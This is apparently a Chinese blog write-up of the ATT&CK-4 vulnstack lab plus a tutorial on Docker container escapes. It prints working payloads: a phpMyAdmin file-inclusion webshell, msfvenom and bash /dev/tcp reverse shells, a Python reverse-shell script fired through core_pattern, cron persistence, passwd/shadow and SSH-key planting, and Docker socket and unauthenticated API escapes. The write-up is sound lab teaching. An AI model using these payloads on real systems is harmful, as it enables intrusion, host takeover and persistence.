ATT&CK-4&Docker逃逸那些事

靶机介绍

下载地址

http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

网络拓扑


靶机拓扑

环境说明

ubuntu:ubuntu

域成员机器:douser:Dotest123

DC:administrator:Test2024

外网IP:192.168.157.0/24

内网IP:192.168.183.0/24

开启docker

cd /home/ubuntu/Desktop/vulhub/struts2/s2-045

sudo docker-compose up -d

cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/

sudo docker-compose up -d

cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/

sudo docker-compose up -d

启动docker

信息搜集

由于知道ip段,主机发现就不做了

端口扫描

sudo nmap -sT -sV -O -p- 192.168.157.128

根据扫描的端口情况,目前攻击面最大的是2001、2002、2003

端口扫描

漏洞扫描

简单做个漏扫

sudo nmap --script=vuln -p22,25,110,2001,2002,2003 192.168.157.128

没有什么东西

漏洞扫描

Web渗透

直接访问这三个web页面

2001端口,随便上传文件发现后缀为.action文件,Java后端,可能是struts2框架

Struts2

2002端口,tomcat页面8.5.19,存在PUT文件上传

Tomcat

2003端口,未授权phpmyadmin,版本:4.8.1

phpmyadmin

三个web服务都可能存在漏洞进行getshell

Struts2-Getshell

struts2使用漏洞利用工具进行探测一下

存在S2-046/S2-045版本,且为root权限

Struts2-Getshell

Tomcat-Getshell

tomcat此版本存在PUT文件上传

哥斯拉生成jsp马

生成jsp马

Burp抓包上传

PUT /shell.jsp/

文件上传

哥斯拉连接

webshell

phpmyadmin-Getshell

phpmyadmin版本4.8.1存在文件包含漏洞,CVE-2018-12613;

原理简单说就是其内部的安全检查函数checkPageValidity()中的逻辑可以被两次url编码绕过,然后通过利用php中include解析的特性,就可以实现任意文件包含。后续可以通过包含数据库文件或包含session文件来实现RCE。

先利用poc验证一下

http://192.168.157.128:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

可读取passwd文件

文件包含

接下来通过包含session文件来RCE,在phpMyAdmin界面执行如下SQL语句进行写马

SELECT "<?php phpinfo();file_put_contents('shell.php','<?php @eval($_REQUEST[a]);?>');?>";

写shell

Cookie中找到phpMyAdmin的键名,它的键值就是服务器session文件中的sess_后半部分,这样就可以包含文件了

http://192.168.157.128:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_78a211e5662749b11d2cde5d63c9dd30

Value值
文件包含

写入的是shell.php,蚁剑连接

连接webshell

上线MSF

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.111.128 lport=4444 -f elf > shell.elf

上传shell.elf反弹不到shell

上线msf失败

生成shell.jsp也无法反弹到shell

上线msf失败
上线msf失败

使用bash反弹shell发现网络不可达

bash -i &>/dev/tcp/192.168.111.128/4444 0>&1

猜测上面上传的shell文件也都是网络不可达导致没有反弹shell

上线msf失败

最后还是无法上线到MSF,先利用webshell吧

内网渗透

信息搜集

查看本地ip发现172开头,且ifconfig无法使用

ip add

猜测是docker环境,docker环境默认172段开头,且web访问的地址是192开头的,但这里并没有192的网卡

网卡信息

查看根目录文件发现docker文件,也可以确定是docker环境

docker环境

对于docker环境拿到的shell不是宿主机shell,需要进行docker逃逸

发现可以查看磁盘情况,说明容器是以Privileged 特权模式启动的

Docker逃逸

那就可以进行挂在宿主机磁盘达到docker逃逸

fdisk -l

查看磁盘

创建将宿主机挂载的目录,挂载宿主机磁盘

mkdir /szj

挂载宿主机磁盘

之后可查看宿主机的密码文件

passwd文件

更改/passwd和shadow文件

直接写入一个账户进去,复制本地的账户即可

kali:x:1000:1000:kali,,,:/home/kali:/usr/bin/zsh

kali:$y$j9T$3S4UFKYtFKVcudcxm49WW/$60RWlEeDrSGs3QLyMM/.uBWaxjF2VeYULSjzWXx.8W/:19740:0:99999:7:::

添加账户
添加账户

写入到宿主机的密码文件

echo 'kali:x:1000:1000:kali,,,:/home/kali:/usr/bin/zsh' >> szj/etc/passwd

echo 'kali:$y$j9T$3S4UFKYtFKVcudcxm49WW/$60RWlEeDrSGs3QLyMM/.uBWaxjF2VeYULSjzWXx.8W/:19740:0:99999:7:::' >> szj/etc/shadow

成功写入账户

添加账户

尝试ssh连接

虽然写入账户,但提示密码错误,无果

ssh连接

写入ssh公钥

生成密钥

ssh-keygen -t rsa

-t指定生成密钥的加密算法

生成公私钥
公钥

查看宿主机下的authorized_keys文件

ls -l

宿主机root目录下没有任何文件,其实到这里写公钥就失败了

无文件

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPRPP2lDzjh5V62lSULoKoKrCUm+gHcetwJzuB4QxnTIcl73dgd69SkZ+AzrB/W6/P6CLWErYXQSLYmFhMRSRVETS0ZvQ9wG1QcjTKx7K3ZDqNrDoC2f8W1wSWvXYxeszapLd1EDKMaObiiuO8fDHM+RfuMobmh7Tzf99EceW69lVw+rMJdacCV2RtV9CD1mnG0gRLnCLLvOAmUNSGtZCslKAtPbFP1sT94zQxSfKO2PWbojRgTAh3u1KXP7qD5EINbxOybpMbfUiLRQbJsuakaj4pi/HM47ccier1446+dZGovaEaiE9MKtQVtqDxPgyWg6w3vIXEw2270V+FkAdBsMqgkPjZeuk/OriSUPvyb8f0mPo5laUGlf50OZjbIaFmAmCjBUyCt1vJkIonyo+/c+VH+N/nsfPnSg7RaYHZSow4iWC+AAsDZ8ILsDZL0ymEx7AAf11/NpTXeVvPnbBBQMCNTH4jEJmyMYCxMkXVM1IoVHoEsoteqCIAUXukV3s= root@kali' >> szj/home/ubuntu/.ssh/authorized_keys

无法进入,上传到对应目录

上传authorized_keys文件
上传对应文件

指定密钥文件还是需要密码,无果

ssh登录无果

计划任务反弹shell

#新建一个.sh文件并加执行权限

touch szj/tmp/test.sh

chmod +x szj/tmp/test.sh

ls -l /szj/tmp/test.sh

#

echo "#!/bin/bash" >> szj/tmp/test.sh

echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.128/1111 0>&1" >> szj/tmp/test.sh

cat szj/tmp/test.sh

#或者直接一条命令

sed -i '$a\/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.128/1312 0>&1' szj/tmp/test.sh

#写入计划任务:

sed -i '$a*/2 *  * * *  root bash /tmp/test.sh' szj/etc/crontab

写入计划任务
写入计划任务

计划任务也无果

计划任务无果

离线爆破

最后的办法,找到shadow文件的ubuntu用户,使用john爆破密码

ubuntu:$1$xJbww$Yknw8dsfh25t02/g2fM9g/:18281:0:99999:7:::

john ubuntu --wordlist=/usr/share/wordlists/rockyou.txt

将密码保存在ubuntu文件中,使用john爆破出密码ubuntu

john爆破

ssh连接

ssh登录

提权

查看ubuntu权限

sudo -l

ALL全部权限

查看权限

直接提权

sudo su

提权

上线MSF

上传shell文件

不知道什么原因,反弹不到shell到msf,本地执行shell文件msf也无法获取ubuntu的shell,不知道环境有什么问题,没有排查出来

(崩溃了,真的崩溃了)

验证执行shell
无果

后续思路

后续继续进行内网信息搜集,发现了ubuntu双网卡,并且存在域环境,可以使用fscan进行扫描一波,域成员和域控都存在ms17-010永恒之蓝,使用msf直接win7打ms17-010,拿下域成员;切换域成员session抓密码,利用ms14-068等域提权拿到黄金票据,攻击拿下域控。

后记

Docker逃逸

写在前面

docker容器逃逸也算是提权的一种手法,要更好的理解容器逃逸手法,应该知道从本质上看容器内的进程只是一个受限的普通Linux进程,而容器逃逸的过程完全可以理解为在一个受限进程中进行一些操作来获取未受限的完全权限,或者在原本受 Cgroup/Namespace 限制权限的进程获取更多权限。

Docker加速器

sudo vim /etc/docker/daemon.json

{"registry-mirrors": [

"http://f1361db2.m.daocloud.io",

"https://registry.docker-cn.com",

"https://reg-mirror.qiniu.com/",

"https://alzgoonw.mirror.aliyuncs.com",

"http://hub-mirror.c.163.com",

"https://docker.mirrors.ustc.edu.cn"

]}

Linux内核安全机制

容器逃逸的实质是从 Cgroup/Namespace 限制权限的进程获取更多权限,需要提到以下名词概念。

Namespace--->内核命名空间

Linux的namespace是一种内核特性,可以将系统资源进行隔离,每个隔离的部分被称为一个namespace。通过使用namespace,可以将不同进程之间的资源进行隔离,使得它们感觉像是在独立的环境中运行。

用简洁明了的话来说,namespace实现了容器与容器,容器与宿主机之间的隔离

而常见的privileged特权逃逸的本质也是因为特权环境打破了容器与宿主机直接的隔离实现了容器逃逸。

namespace的几种类型:

1、PID namespace:使得每个进程都有一个独立的进程ID,进程只能看到相同namespace下的其他进程。

2、User namespace:使得不同namespace下的进程可以有不同的用户和用户组ID,进程只能对相同namespace下的用户进行权限管理。

3、Mount namespace:使得每个namespace可以有独立的挂载点和文件系统层次结构,进程只能看到namespace下的文件系统。

4、Network namespace:使得每个namespace有独立的网络设备、IP地址、端口等网络资源,进程只能访问相同namespace下的网络资源。

5、UTS namespace:使得每个namespace有独立的主机名和域名,进程只能访问相同namespace下的主机名和域名。

通过使用这些namespace,可以在不同的进程之间实现资源的隔离,提高系统的安全性和稳定性

Cgroup--->控制组

Cgroup本质上是在内核中附加的一系列钩子(hook),当程序运行时,内核会根据程序对资源的请求触发响应的钩子,以达到资源追踪和限制的目的。在Linux系统中,Cgroup对于系统资源的管理和控制非常重要,可以帮助管理员更加精细化的控制资源的分配和使用。

Cgroup主要实现了对容器资源的分配,限制和管理。

Capabilities

Capabilities是Linux一种安全机制,在Linux内核2.2之后引入,用于对权限更细致的控制。

而容器社区一直在努力将纵深防护,最小权限等理念和原则落地。

单容器内信息收集

当我们拿到了一个shell,首先要判断的是当前环境是否为容器环境

查询cgroup信息

cat /proc/1/cgroup

什么是/proc/1/cgroup?

/proc/1/cgroup文件记录了进程的控制组 (cgroup) 信息。

在 Linux 系统中,当在容器中运行进程时,每个进程会被分配到一个或多个 cgroup 中,cgroup 可以对进程的资源使用进行控制和限制。从 CGroup 信息中,不仅可以判断我们是否在容器内,也能很方便判断出当前的容器是否在 Kubernetes(k8s) 的编排环境中

查看是否为docker环境

没使用 Kubernetes 的 docker 容器,其 cgroup 信息如下:

hugetlb:/docker/7429c43a1da80af2b4d6e1b35d890187323eb7e0e1260f32b0d708e0f5a5d536

而 Kubernetes 默认的,如下:

12:hugetlb:/kubepods/burstable/pod45226403-64fe-428d-a419-1cc1863c9148

/e8fb379159f2836dbf990915511a398a0c6f7be1203e60135f1cbdc31b97c197

k8s环境

可以稍微修改一下上述的语句

cat /proc/1/cgroup | grep -qi docker && echo 'In Docker' || echo 'Not Docker'

通过判断cat /proc/1/cgroup的输出内容是否有docker来判断是否是容器内的环境

容器环境:

判断docker环境

非容器环境:

判断docker环境

检查/.dockerenv文件

什么是.dockerenv文件?

.dockerenv文件是Docker守护进程的配置文件,它包含了Docker守护进程的运行参数和配置信息。这个文件通常用于配置Docker守护进程的行为,例如容器的网络设置、存储驱动、卷管理等。.dockerenv文件是一个文本文件,其中包含了一些环境变量,这些环境变量描述了Docker守护进程的状态和配置。这个文件通常由Docker守护进程的配置脚本生成,并保存在Docker守护进程的数据目录中。

简单来说,我们可以通过判断该文件是否存在来判断当前是否属于容器环境

ls -alh / | grep .dockerenv

判断docker环境

值得注意的是: 如果你的shell权限过小的话(www-data、或是某一服务的用户),根目录下也是不存在.dockerenv文件的

查看硬盘信息

容器输出为空,非容器有内容输出

值得注意的是:Privileged 特权模式下是可以查看到内容的

fdisk -l

容器内环境:

判断docker环境

非容器内环境:

判断docker环境

我们可以通过上述方法快速判断当前的一个shell是否在容器环境内

而当我们成功的判断了当前环境是一个docker容器的环境,我们便要尝试容器逃逸。

Docker配置不当导致的容器逃逸

Linux 命名空间(NameSpace):实现文件系统、网络、进程、主机名等方面的隔离

Linux 控制组(cgroups):实现 CPU、内存、硬盘等方面的隔离

如果设定了以下配置就会导致相应的隔离机制失效:

其实原理很简单,就是通过权限的变更打破了原来的文件系统、网络、进程、主机名等方面的隔离

--privileged:使容器内的 root 权限和宿主机上的 root 权限一致,权限隔离被打破

--net=host:使容器与宿主机处于同一网络命名空间,网络隔离被打破

--pid=host:使容器与宿主机处于同一进程命令空间,进程隔离被打破

--volume /:/host:宿主机根目录被挂载到容器内部,文件系统隔离被打破

Priviliged 特权模式容器逃逸

privileged 特权容器可以说是业界最常见以及最广为人知的逃逸手法

privileged 特权容器的权限其实有很多,所以也有很多不同的逃逸方式,挂载设备读写宿主机文件是特权容器最常见的逃逸方式之一

如何判断当前容器是以Privileged 特权模式启动的呢?

使用 fdisk -l 查看宿主机的磁盘设备

如果不在 privileged 容器内部,是没有权限查看磁盘列表并操作挂载的

fdisk -l

使用 CapEff 来查看是否是特权模式

来判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为 0000003fffffffff 或者是 0000001fffffffff

cat /proc/self/status | grep CapEff

非特权模式:

非特权模式

特权模式:

特权模式

值得一提的是:

从对抗的层面上,不建议将逃逸的行为当成可以写入宿主机特定文件 (如 /etc/cron*, /root/.ssh/authorized_keys 等文件) 的行为,应该根据目标选择更趋近与业务行为的手法,容器逃逸的利用手段会比大部分情况下的命令执行漏洞利用要灵活。

以目标 “获取宿主机上的配置文件” 为例,以下几种逃逸手法在容易在防御团队中暴露的概率从大到小,排序如下(部分典型手法举例,不同的 EDR 情况不同):

1、mount /etc + write crontab

2、mount /root/.ssh + write authorized_keys

3、old CVE/vulnerability exploit

4、write cgroup notify_on_release

5、write procfs core_pattern

6、volumeMounts: / + chroot

7、remount and rewrite cgroup

8、websocket/sock shell + volumeMounts: /path

挂载主机procfs逃逸

我们常说挂载宿主机 procfs 逃逸,其本质上因为宿主机挂载了procfs,导致我们可以像宿主机内写入一段恶意的payload,比如反弹shell,然后利用代码制造崩溃,触发内存转储,就会执行我们恶意的payload。

什么是procfs

procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。

什么是core_pattern文件?

core_pattern(核心转储模式)是Linux系统中的一个配置参数,用于定义在程序崩溃时生成核心转储文件的方式和位置。当一个程序发生崩溃(如段错误)时,操作系统会生成一个包含程序崩溃状态的核心转储文件,以便进行调试和故障排除。

如果宿主机中的 procfs 挂载到容器中,我们就可以进行容器逃逸了

环境复现:

sudo docker pull ubuntu

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

漏洞环境
漏洞环境

如果返回了两个 core_pattern 文件,那么很可能就是挂载了宿主机的 procfs

如果只找到一个目录,说明没有使用procfs挂载。

这也是挂载procfs可以逃逸的核心点

find / -name core_pattern

判断procfs

接下来我们需要找到docker在当前宿主机的绝对路径

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

workdir=/var/lib/docker/overlay2/e63b13da290a4acf22fc95837aff8086ae1b9e685cc88eb28474178aed9ce18c/work 0 0

docker目录

将work子目录替换为merged子目录

/var/lib/docker/overlay2/e63b13da290a4acf22fc95837aff8086ae1b9e685cc88eb28474178aed9ce18c/merged

接下来我们需要准备一个反弹shell的脚本以及一个可以制造崩溃,触发内存转储的代码

先准备一个反弹shell的脚本

vim /tmp/.test.py

#!/usr/bin/python3

import  os

import pty

import socket

lhost = "192.168.111.128"

lport = 4445

def main():

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  s.connect((lhost, lport))

  os.dup2(s.fileno(), 0)

  os.dup2(s.fileno(), 1)

  os.dup2(s.fileno(), 2)

  os.putenv("HISTFILE", '/dev/null')

  pty.spawn("/bin/bash")

  # os.remove('/tmp/.test.py')

  s.close()

if __name__ == "__main__":

  main()

反弹shell脚本

接下来赋权并且将该脚本写到目标的 proc 目录下

chmod 777 .test.py

echo -e "|/var/lib/docker/overlay2/e63b13da290a4acf22fc95837aff8086ae1b9e685cc88eb28474178aed9ce18c/merged/tmp/.test.py \rcore " > /host/proc/sys/kernel/core_pattern

赋权
写入proc 目录下

然后使用c写一个可以触发崩溃的程序

vim test.c

#include<stdio.h>

int main(void)  {

  int *a  = NULL;

  *a = 1;

  return 0;

}

gcc test.c -o test

chmod 777 test

赋权

紧接着在攻击机上起监听

在容器内运行该程序

./test

执行脚本

成功反弹shell

getshell

ubuntu宿主机ip为130

getshell
getshell

挂载 Docker Socket 逃逸

什么是Docker Socket?

Docker Socket(也称为Docker API Socket)是Docker引擎的UNIX套接字文件,用于与Docker守护进程(Docker daemon)进行通信。Docker守护进程是Docker引擎的核心组件,负责管理和执行容器。Docker Socket允许用户通过基于RESTful API的请求与Docker守护进程进行通信,以便执行各种操作,例如创建、运行和停止容器,构建和推送镜像,查看和管理容器的日志等。

简而言之:当容器启动时以挂载Docker Socket的方式启动时,我们就可以尝试逃逸。

环境复现:

docker run -itd --name docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu

判断当前容器是否挂载Docker Socket,如果存在文件则说明Docker Socket被挂载

docker exec -it docker_id /bin/bash

ls -lah /var/run/docker.sock

判断docker socket

如何逃逸?

可以在容器内部创建一个新的容器,因为Docker Socket被挂载到了当前容器,所有我们可以将宿主机目录挂载到新的容器内部

即在容器内创建一个挂载了宿主机根目录的容器,然后将目录切换到根目录即可完成逃逸。

在当前容器内部安装docker命令行

docker exec -it docker_sock /bin/bash

apt-get update

apt-get install curl

curl -fsSL https://get.docker.com/ | sh

第一条命令执行进入docker后,最后一条命令无法在docker中安装docker

漏洞环境

假设最后一步已经完成

最后逃逸只需要在容器内部启动一个挂载宿主机根目录的容器即可

docker run -it -v /:/ning ubuntu /bin/bash

可以看到我们的id值发生变化,说明我们已经进入了一个新的容器内部

docker中挂载宿主机/目录getshell

切换根目录

chroot /ning

切换目录

查看etc/passwd

查看passwd文件

此时已经拿到宿主机的权限

容器漏洞CVE-2020-15257

前面说--net=host:容器与宿主机处于同一网络命名空间,网络隔离被打破,该cve的核心就是如此。

漏洞环境搭建

# 安装 metarget 靶场

git clone https://github.com/brant-ruan/metarget.git

cd metarget/

pip3 install -r requirements.txt

metarget

安装cve-2020-15257

./metarget cnv install cve-2020-15257

安装cve-2020-15257

启动漏洞环境

docker run -it --net=host --name=15257 ubuntu /bin/bash

判断是否使用host模式

cat /proc/net/unix | grep 'containerd-shim'

有结果则说明当前容器启用了host模式

判断host模式

接下来使用大名鼎鼎的CDK

https://github.com/cdk-team/CDK/wiki/CDK-Home-CN

如何将CDK上传到容器内部?

1.webshell下直接上传

2.非webshell下的出网环境

#vps上面开启nc

nc -lvp 999 <cdk

#容器内写入

cat < /dev/tcp/[vps-ip]/[vps-port] >cdk

#反弹宿主机shell

chmod a+X cdk

./cdk run shim-pwn reverse [ip] [port]

上传cdk
接收cdk

kali监听

容器中运行cdk

./cdk_linux_amd64 run shim-pwn 192.168.111.130 4444

这里报错,正常情况已经获取到shell了

getshell失败

贴两张正常的图

getshell
getshell

Docker远程API未授权访问逃逸

docker的2375端口是干啥的?

Docker的2375端口主要用于Docker守护进程的监听和通信。它主要用于Docker容器的网络连接和通信,包括容器的启动、停止、删除等操作。该端口可以被Docker守护进程用于接收来自客户端的请求,并与其进行交互和通信。需要注意的是,使用该端口需要确保防火墙设置正确,以避免潜在的安全风险。

在早期的版本安装Docker是会默认将2375端口对外开放,目前改为默认只允许本地访问

如何开启远程访问

vim /lib/systemd/system/docker.service

ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock -H tcp://0.0.0.0:2375

如何检测2375端口存在未授权?

这里推荐两种方式

1.

curl http://192.168.110.124:2375/info

docker -H tcp://192.168.110.124:2375 info

2.

IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && wget http://$IP:2375

分析一下第二种

IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && wget http://180.184.196.45:2375

1、hostname -i:这是一个用于获取本地主机IP地址的命令。它将返回主机的IP地址。

2、awk -F. '{print $1 "." $2 "." $3 ".1"}':这是一个基于awk命令的处理器,用于从IP地址中提取前三个字段,并将第四个字段设置为1,从而创建一个新的IP地址。例如,如果IP地址是192.168.0.10,这个处理程序将将其转换为192.168.0.1。

3、IP=hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' :这个命令将获取到的IP地址存储在一个名为IP`的变量中。

4、wget http://$IP:2375:这个命令使用wget工具向指定的IP地址和端口发送HTTP请求。具体来说,它尝试连接到Docker守护进程的REST API端点,通常默认使用端口2375。通过这个命令,可以从本地主机访问Docker守护进程,执行相关操作。

总的来说,这段命令的作用是获取本地主机的IP地址,并通过IP地址和端口号连接到Docker守护进程。

开启远程访问

ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

保存退出后sudo systemctl daemon-reload #重载守护进程sudo service docker restart #重启docker服务systemctl status docker.service #查看docker运行情况

开启docker远程

使用第一种方式探测docker未授权

curl http://192.168.111.132:2375/info

判断docker未授权

docker -H tcp://192.168.111.132:2375 info

判断docker未授权
判断docker未授权

查看镜像

docker -H tcp://192.168.111.132:2375 images

查看镜像

漏洞利用

使用命令拉取一个镜像,也可以使用已经存在的镜像

busybox镜像,镜像很小,命令很全

docker -H tcp://192.168.111.132 pull busybox

漏洞利用

使用拉取的镜像启动一个新的容器,以sh或者/bin/bash作为shell启动,并且将该宿主机的根目录挂在到容器的/mnt目录下

docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt beae173ccac6 sh 或者 /bin/bash

进入到/mnt目录即可逃逸到宿主机

漏洞利用

写ssh公钥

在本地生成ssh公私钥对,将公钥内容通过echo写入靶机/mnt/root/.ssh/authorized_keys文件中

生成公钥

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPRPP2lDzjh5V62lSULoKoKrCUm+gHcetwJzuB4QxnTIcl73dgd69SkZ+AzrB/W6/P6CLWErYXQSLYmFhMRSRVETS0ZvQ9wG1QcjTKx7K3ZDqNrDoC2f8W1wSWvXYxeszapLd1EDKMaObiiuO8fDHM+RfuMobmh7Tzf99EceW69lVw+rMJdacCV2RtV9CD1mnG0gRLnCLLvOAmUNSGtZCslKAtPbFP1sT94zQxSfKO2PWbojRgTAh3u1KXP7qD5EINbxOybpMbfUiLRQbJsuakaj4pi/HM47ccier1446+dZGovaEaiE9MKtQVtqDxPgyWg6w3vIXEw2270V+FkAdBsMqgkPjZeuk/OriSUPvyb8f0mPo5laUGlf50OZjbIaFmAmCjBUyCt1vJkIonyo+/c+VH+N/nsfPnSg7RaYHZSow4iWC+AAsDZ8ILsDZL0ymEx7AAf11/NpTXeVvPnbBBQMCNTH4jEJmyMYCxMkXVM1IoVHoEsoteqCIAUXukV3s= root@kali" >> authorized_keys

写公钥

ssh登录

ssh -i id_rsa root@192.168.111.132

ssh登录
getshell

值得一提的是:还可以关注2376端口

2375端口-->未加密

2376端口-->加密通讯

Docker用户组特性导致的权限提升

Docker 需要 root 权限才能跑起来,其运行的所有命令都是需要 sudo 来运行,而Docker 监护进程有一个特性,它能被允许访问 root 用户或者是在 docker 组里面的所有用户,这就如同拥有 root 的访问权限

简而言之,如果拿到了一个docker组内用户的权限,就可以提升到root权限。

这是因为Docker 守护进程会允许 root 用户和 docker组用户访问 Docker,给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。

adduser dockeruser

usermod -G docker dockeruser

newgrp docker

su dockeruser

添加docker账户

接下来以dockeruser的身份启动一个容器-->一个挂载了宿主机根目录的容器

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

没有chrisfosterelli/rootplease需要拉镜像

docker pull chrisfosterelli/rootplease

getshell

命令详解

上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease,主要的作用是:从 Docker Hub 上面下载我的镜像,然后运行。参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS,并且使用 -i 和 -t 参数进入容器的 shell。

这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。

当然可以从这个衍生出非常多的提权方法,但是这个方法是最直接的。

本文中所提到的代码托管在 Github(https://github.com/chrisfosterelli/dockerrootplease),镜像在 Docker Hub(https://registry.hub.docker.com/u/chrisfosterelli/rootplease/)。

用户组提权命令详解链接:

https://mp.weixin.qq.com/s/C0JGXhBsCERNs1ZS9RjWEg

参考链接:

https://mp.weixin.qq.com/s/XsYWhBCxoVKVZVj3Ct-6ig

https://www.cnblogs.com/anata1133/articles/17804306.html

https://www.cnblogs.com/hgschool/p/17030399.html

https://mp.weixin.qq.com/s/C0JGXhBsCERNs1ZS9RjWEg

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,163评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,301评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,089评论 0 352
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,093评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,110评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,079评论 1 295
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,005评论 3 417
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,840评论 0 273
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,278评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,497评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,667评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,394评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,980评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,628评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,796评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,649评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,548评论 2 352

推荐阅读更多精彩内容